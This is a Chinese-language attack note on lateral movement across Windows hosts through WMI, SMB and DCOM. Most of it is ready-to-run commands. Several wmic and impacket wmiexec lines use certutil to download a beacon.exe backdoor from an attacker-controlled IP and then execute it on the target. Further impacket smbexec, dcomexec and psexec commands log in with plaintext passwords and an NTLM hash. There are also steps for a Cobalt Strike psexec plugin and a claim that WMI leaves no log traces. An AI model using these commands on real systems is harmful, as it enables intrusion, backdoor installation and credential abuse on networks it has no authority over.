2012R2以上默认关闭了Wdigest,无法通过内存获取明文密码
三种方法不需要明文密码,hash也可以
WMI
windows管理规范,2003之后存在,支持用户名明文/hash认证,不会在系统日志留痕
条件
WMI 服务开启,135 端口开启
防火墙允许135、445
知道目标机器密码/hashs
利用方法
//192.168.159.136为横向目标主机 IP
1、wmic (回显不提示是否成功,需明文)
wmic 为内置命令,不会被杀
shell wmic /node:"192.168.159.136" /user:"win-3j3bdtqnp64\administrator" /password:"admin@123" process call create "certutil.exe -urlcache -split -f \"http://192.168.159.148:80/beacon.exe\" c:\beacon.exe"//访问3.31下载后门文件beacon.exe
shell wmic /node:"192.168.159.136" /user:"win-3j3bdtqnp64\administrator" /password:"admin@123" process call create "c:\beacon.exe"//执行 beacon.exe 上线
//win-3j3bdtqnp64\administrator 解释:先查询是否存在 win-3j3bdtqnp64 域,不存在,当作是计算机名
2、impacket-wmiexec.py(可hash)
需要搭建 socks 节点
下载后门:
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.159.136 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行后门:
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.159.136 "c:/beacon.exe"
SMB
SMB 是一种网络文件共享协议,常用于局域网内文件,打印机等资源的共享
条件
1、文件与打印机服务开启,默认开启
2、防火墙允许135、445等端口通信
3、知道目标机的账户密码或HASH
利用方法
1、psexec(不推荐)
psexec \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
2、 impacket - smbexec.exe
创建 socks 节点使用
python smbexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32
3、cs 官方插件(首推)
cs-psexec
1、在被控主机上端口扫描
2、点击小电脑,找到横向目标主机
4、提前创建 beacon tcp 监听器
3、右键 -> 横向移动 -> psexec -> 选择合适的账号密码 -> 选择 beacon tcp -> 选择能连接到目标主机的被控主机
4、上线
DOCM
DCOM 分布式组件对象模型,用于不同计算机上软件组件之间的通信,支持 RPC
建立在powershell之上,win7之后才能用
条件
1、适用目标Win7系统以上
2、管理员权限PowerShell
3、远程主机防火墙未阻止
利用方法
dcomexec-impacket
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32 whoami
python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c